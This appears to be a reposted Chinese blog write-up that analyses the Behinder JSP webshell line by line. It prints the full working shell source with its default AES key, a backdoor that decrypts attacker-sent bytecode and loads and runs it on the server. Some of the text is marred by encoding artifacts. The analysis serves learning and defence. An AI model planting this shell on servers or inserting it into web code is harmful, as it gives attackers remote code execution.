前言
只是分享一下對(duì)冰蝎webshell分析的一個(gè)學(xué)習(xí)過(guò)程,冰蝎webshell使用了加載字節(jié)碼的方式執(zhí)行惡意代碼。
正文
首先打開(kāi)webshell
這么一行實(shí)在不好看,先把他分行吧。
分完行之后,就很清晰明了了。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{
U(ClassLoader c){
super(c);
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}%>
<%if (request.getMethod().equals("POST"))
{
String k="e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認(rèn)連接密碼rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
導(dǎo)入了三個(gè)依賴(lài),一個(gè)是標(biāo)準(zhǔn)庫(kù),兩個(gè)估計(jì)用于加密。
然后定義了一個(gè)類(lèi)U,繼承自ClassLoader,盲猜是用加載字節(jié)碼的方式來(lái)執(zhí)行命令,后面實(shí)現(xiàn)了g公有函數(shù),函數(shù)里調(diào)用了defineClass(這可是加載惡意類(lèi)的關(guān)鍵)
接下來(lái)就是主函數(shù)的部分。首先判斷請(qǐng)求方式是否為POST(它希望是)。定義了一個(gè)字符串k,是連接的密鑰,注釋中有詳細(xì)說(shuō)明。
接下來(lái)用putValue往session中存入一個(gè)鍵為u,值為密鑰的鍵值對(duì)。也就是把密鑰存入session的意思(putValue應(yīng)該和setAttribute功能差不多,百度了一下,發(fā)現(xiàn)putValue從servlet版本上被setAttribute代替了)。
接著實(shí)例化了一個(gè)Cipher類(lèi)。
javax.crypto.Cipher
類(lèi)是從jdk1.4就開(kāi)始引入,所屬jdk拓展包Java Cryptographic Extension(JCE)框架
,該框架主要用于加密解密和密碼功能
從它傳入的參數(shù)得知,c是一個(gè)用于AES加密的工具。
(剛開(kāi)始想跟進(jìn)去分析Cipher類(lèi)的代碼,但一想,實(shí)在沒(méi)必要,這屬于此類(lèi)的應(yīng)用場(chǎng)景,那只需要去百度怎么用就好了。。。。給自己無(wú)語(yǔ)住了)
接下來(lái)執(zhí)行算法的初始化,c.init(),使用密鑰和一組算法參數(shù)初始化此密碼算法??匆幌鹿俜轿臋n,這些api。
opmode是常量。
看回源碼這一行。
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
很明顯,第一個(gè)參數(shù),指定了密碼的模式,第二個(gè)參數(shù)就是一個(gè)KEY類(lèi)的實(shí)例,KEY類(lèi)也很單純,拋去各種方法,函數(shù),也就是兩個(gè)變量,一個(gè)是密鑰,一個(gè)是算法名。
模式2是什么,雖然能猜到受控端肯定是解密模式,但是還是在里面看了一下。模式為decryption,解密。
最后一行才是主要部分。
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
嵌套了不少層,從里往外看。首先讀取了post包的body部分的首行。
request.getReader().readLine()
然后,使用BASE64解碼該行。
new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())
然后調(diào)用上面所說(shuō)的密碼工具對(duì)其進(jìn)行AES解密(解密模式在init初始化時(shí)由2決定)。
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))
實(shí)例化了一個(gè)U類(lèi),在構(gòu)造函數(shù)中取得了一個(gè)ClassLoader作為父類(lèi),來(lái)給U調(diào)用父類(lèi)的構(gòu)造方法。
new U(this.getClass().getClassLoader())
然后調(diào)用它的g方法來(lái)執(zhí)行defineClass,也就是加載字節(jié)碼,參數(shù)是上面解密后的內(nèi)容。然后newInstance實(shí)例化(define不會(huì)執(zhí)行任何初始化代碼,包括static和constructor)
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance()
到這里就結(jié)束了。發(fā)送過(guò)去的payload形式應(yīng)當(dāng)是惡意類(lèi)的字節(jié)碼,并且經(jīng)過(guò)AES加密之后再base64編碼。文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-492908.html
最后
大佬們,請(qǐng)多多留言指正和指導(dǎo),謝謝大佬們啦。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-492908.html
到了這里,關(guān)于[JAVA安全webshell]冰蝎jsp木馬分析的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!